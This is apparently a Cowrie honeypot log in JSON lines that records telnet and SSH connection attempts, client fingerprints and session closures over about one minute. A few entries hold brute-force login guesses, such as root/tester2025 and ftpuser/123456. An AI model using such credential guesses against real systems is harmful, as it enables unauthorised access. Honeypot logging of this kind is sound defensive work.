{"eventid":"cowrie.session.closed","duration":31.318204402923584,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:39:54.712285Z","src_ip":"161.132.53.68","session":"bf23f5ed6ed8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.319092988967896,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:39:55.041537Z","src_ip":"161.132.53.68","session":"2445ba40d236","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":54926,"dst_ip":"159.203.135.109","dst_port":23,"session":"cca209f2e2f1","protocol":"telnet","message":"New connection: 161.132.53.68:54926 (159.203.135.109:23) [session: cca209f2e2f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:40:02.339226Z"}
{"eventid":"cowrie.session.closed","duration":30.886432886123657,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:40:02.602655Z","src_ip":"174.142.104.49","session":"451aabdada9b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"220.119.37.141","src_port":59990,"dst_ip":"10.17.0.5","dst_port":22,"session":"028d45aec99f","protocol":"ssh","message":"New connection: 220.119.37.141:59990 (10.17.0.5:22) [session: 028d45aec99f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:40:04.873336Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:40:04.878281Z","src_ip":"220.119.37.141","session":"028d45aec99f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.09204888343811,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:40:05.041825Z","src_ip":"161.132.53.68","session":"e6a4057ac1c0","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:40:05.072820Z","src_ip":"220.119.37.141","session":"028d45aec99f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tester2025","message":"login attempt [root/tester2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:40:05.889367Z","src_ip":"220.119.37.141","session":"028d45aec99f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:40:07.089351Z","src_ip":"220.119.37.141","session":"028d45aec99f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.12364935874939,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:40:08.242095Z","src_ip":"161.132.53.68","session":"afd39275f2ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.978291511535645,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:40:09.014747Z","src_ip":"161.132.53.68","session":"fedaa50bb2ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.861303329467773,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:40:09.552004Z","src_ip":"174.142.104.49","session":"9ed6c336cb0f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.37564516067505,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:40:09.562840Z","src_ip":"161.132.53.68","session":"8083fe661456","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.22680377960205,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:40:10.948604Z","src_ip":"174.142.104.49","session":"23c1d127cddf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":59356,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f5bd3d674d8","protocol":"telnet","message":"New connection: 174.142.104.49:59356 (159.203.135.109:23) [session: 1f5bd3d674d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:40:11.920245Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":38024,"dst_ip":"159.203.135.109","dst_port":23,"session":"4e1726fe2903","protocol":"telnet","message":"New connection: 174.142.104.49:38024 (159.203.135.109:23) [session: 4e1726fe2903]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:40:12.540010Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":39162,"dst_ip":"159.203.135.109","dst_port":23,"session":"311ca98a1fd0","protocol":"telnet","message":"New connection: 174.142.104.49:39162 (159.203.135.109:23) [session: 311ca98a1fd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:40:13.085995Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":40484,"dst_ip":"159.203.135.109","dst_port":23,"session":"dcbb5ce90f17","protocol":"telnet","message":"New connection: 161.132.53.68:40484 (159.203.135.109:23) [session: dcbb5ce90f17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:40:15.300522Z"}
{"eventid":"cowrie.session.closed","duration":31.73026442527771,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:40:17.625297Z","src_ip":"161.132.53.68","session":"39be7c10c80c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":48766,"dst_ip":"159.203.135.109","dst_port":23,"session":"4e087e49b147","protocol":"telnet","message":"New connection: 161.132.53.68:48766 (159.203.135.109:23) [session: 4e087e49b147]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:40:18.273787Z"}
{"eventid":"cowrie.session.closed","duration":31.315934658050537,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:40:19.072942Z","src_ip":"174.142.104.49","session":"ba425ab44584","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":45666,"dst_ip":"159.203.135.109","dst_port":23,"session":"905e4dccae4e","protocol":"telnet","message":"New connection: 174.142.104.49:45666 (159.203.135.109:23) [session: 905e4dccae4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:40:19.484578Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":48782,"dst_ip":"159.203.135.109","dst_port":23,"session":"bec84f9c38a0","protocol":"telnet","message":"New connection: 161.132.53.68:48782 (159.203.135.109:23) [session: bec84f9c38a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:40:20.052409Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":48788,"dst_ip":"159.203.135.109","dst_port":23,"session":"d8185cdd8a4a","protocol":"telnet","message":"New connection: 161.132.53.68:48788 (159.203.135.109:23) [session: d8185cdd8a4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:40:20.331307Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":44006,"dst_ip":"159.203.135.109","dst_port":23,"session":"58c6140191f8","protocol":"telnet","message":"New connection: 174.142.104.49:44006 (159.203.135.109:23) [session: 58c6140191f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:40:20.375402Z"}
{"eventid":"cowrie.session.closed","duration":0.0071527957916259766,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:40:20.382401Z","src_ip":"174.142.104.49","session":"58c6140191f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.10692739486694,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:40:20.973342Z","src_ip":"161.132.53.68","session":"48a8431c392b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"200.105.172.184","src_port":42146,"dst_ip":"159.203.135.109","dst_port":22,"session":"70a3cce3371c","protocol":"ssh","message":"New connection: 200.105.172.184:42146 (159.203.135.109:22) [session: 70a3cce3371c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:40:21.335579Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:40:21.344503Z","src_ip":"200.105.172.184","session":"70a3cce3371c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:40:21.465996Z","src_ip":"200.105.172.184","session":"70a3cce3371c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.015399932861328,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:40:21.551907Z","src_ip":"174.142.104.49","session":"8a5a976f62a4","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"25802580","message":"login attempt [root/25802580] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:40:22.341362Z","src_ip":"200.105.172.184","session":"70a3cce3371c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:40:23.466204Z","src_ip":"200.105.172.184","session":"70a3cce3371c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.51541543006897,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:40:23.491465Z","src_ip":"174.142.104.49","session":"7249a50e80bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":55974,"dst_ip":"159.203.135.109","dst_port":23,"session":"600f8d3650e0","protocol":"telnet","message":"New connection: 174.142.104.49:55974 (159.203.135.109:23) [session: 600f8d3650e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:40:24.951897Z"}
{"eventid":"cowrie.session.closed","duration":31.461477756500244,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:40:25.427701Z","src_ip":"174.142.104.49","session":"f17a3969d162","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":34546,"dst_ip":"159.203.135.109","dst_port":23,"session":"e00b261f4f44","protocol":"telnet","message":"New connection: 174.142.104.49:34546 (159.203.135.109:23) [session: e00b261f4f44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:40:25.723081Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":35692,"dst_ip":"159.203.135.109","dst_port":23,"session":"0121594ba631","protocol":"telnet","message":"New connection: 174.142.104.49:35692 (159.203.135.109:23) [session: 0121594ba631]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:40:26.825838Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":54178,"dst_ip":"159.203.135.109","dst_port":23,"session":"43c4cfebe37b","protocol":"telnet","message":"New connection: 161.132.53.68:54178 (159.203.135.109:23) [session: 43c4cfebe37b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:40:27.028320Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":54182,"dst_ip":"159.203.135.109","dst_port":23,"session":"d8e01c726859","protocol":"telnet","message":"New connection: 161.132.53.68:54182 (159.203.135.109:23) [session: d8e01c726859]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:40:27.557045Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":42418,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6fa67d6b72d","protocol":"telnet","message":"New connection: 174.142.104.49:42418 (159.203.135.109:23) [session: e6fa67d6b72d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:40:30.498334Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":44248,"dst_ip":"159.203.135.109","dst_port":23,"session":"f68e80f2be07","protocol":"telnet","message":"New connection: 174.142.104.49:44248 (159.203.135.109:23) [session: f68e80f2be07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:40:31.470289Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":45588,"dst_ip":"159.203.135.109","dst_port":23,"session":"ecd4bb9ffa27","protocol":"telnet","message":"New connection: 174.142.104.49:45588 (159.203.135.109:23) [session: ecd4bb9ffa27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:40:34.066257Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.35.59.237","src_port":42430,"dst_ip":"10.17.0.5","dst_port":22,"session":"599d019e0b6b","protocol":"ssh","message":"New connection: 114.35.59.237:42430 (10.17.0.5:22) [session: 599d019e0b6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:40:36.670991Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:40:36.676638Z","src_ip":"114.35.59.237","session":"599d019e0b6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:40:36.886658Z","src_ip":"114.35.59.237","session":"599d019e0b6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":58234,"dst_ip":"159.203.135.109","dst_port":23,"session":"d77faead2265","protocol":"telnet","message":"New connection: 174.142.104.49:58234 (159.203.135.109:23) [session: d77faead2265]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:40:37.313915Z"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123456","message":"login attempt [ftpuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:40:37.744000Z","src_ip":"114.35.59.237","session":"599d019e0b6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:40:38.963846Z","src_ip":"114.35.59.237","session":"599d019e0b6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.68030881881714,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:40:40.019384Z","src_ip":"161.132.53.68","session":"cca209f2e2f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":37994,"dst_ip":"159.203.135.109","dst_port":23,"session":"83e3cab9c72f","protocol":"telnet","message":"New connection: 174.142.104.49:37994 (159.203.135.109:23) [session: 83e3cab9c72f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:40:41.492499Z"}
{"eventid":"cowrie.session.closed","duration":30.72053027153015,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:40:42.640605Z","src_ip":"174.142.104.49","session":"1f5bd3d674d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.366928100585938,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:40:43.452785Z","src_ip":"174.142.104.49","session":"311ca98a1fd0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.215962886810303,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:40:43.755879Z","src_ip":"174.142.104.49","session":"4e1726fe2903","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":44478,"dst_ip":"159.203.135.109","dst_port":23,"session":"f5c36b6bbddc","protocol":"telnet","message":"New connection: 174.142.104.49:44478 (159.203.135.109:23) [session: f5c36b6bbddc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:40:44.864504Z"}
{"eventid":"cowrie.session.closed","duration":32.43402147293091,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:40:47.734404Z","src_ip":"161.132.53.68","session":"dcbb5ce90f17","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":59912,"dst_ip":"159.203.135.109","dst_port":23,"session":"067a165d8cc0","protocol":"telnet","message":"New connection: 161.132.53.68:59912 (159.203.135.109:23) [session: 067a165d8cc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:40:48.127036Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":48010,"dst_ip":"159.203.135.109","dst_port":23,"session":"574eef691159","protocol":"telnet","message":"New connection: 174.142.104.49:48010 (159.203.135.109:23) [session: 574eef691159]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:40:49.641685Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":59914,"dst_ip":"159.203.135.109","dst_port":23,"session":"001edc13c6c4","protocol":"telnet","message":"New connection: 161.132.53.68:59914 (159.203.135.109:23) [session: 001edc13c6c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:40:49.858540Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":42626,"dst_ip":"10.17.0.5","dst_port":23,"session":"83eacab0a5ce","protocol":"telnet","message":"New connection: 104.245.105.2:42626 (10.17.0.5:23) [session: 83eacab0a5ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:40:50.485213Z"}
{"eventid":"cowrie.session.closed","duration":31.301294565200806,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:40:51.353569Z","src_ip":"161.132.53.68","session":"bec84f9c38a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":57308,"dst_ip":"159.203.135.109","dst_port":23,"session":"618912557cd0","protocol":"telnet","message":"New connection: 174.142.104.49:57308 (159.203.135.109:23) [session: 618912557cd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:40:52.411297Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":51732,"dst_ip":"159.203.135.109","dst_port":23,"session":"66f3017a21d3","protocol":"telnet","message":"New connection: 174.142.104.49:51732 (159.203.135.109:23) [session: 66f3017a21d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:40:52.521516Z"}
{"eventid":"cowrie.session.closed","duration":26.718578577041626,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:40:53.544289Z","src_ip":"174.142.104.49","session":"0121594ba631","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.24114012718201,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:40:53.572289Z","src_ip":"161.132.53.68","session":"d8185cdd8a4a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":59928,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd2ac2762e26","protocol":"telnet","message":"New connection: 161.132.53.68:59928 (159.203.135.109:23) [session: dd2ac2762e26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:40:53.680929Z"}
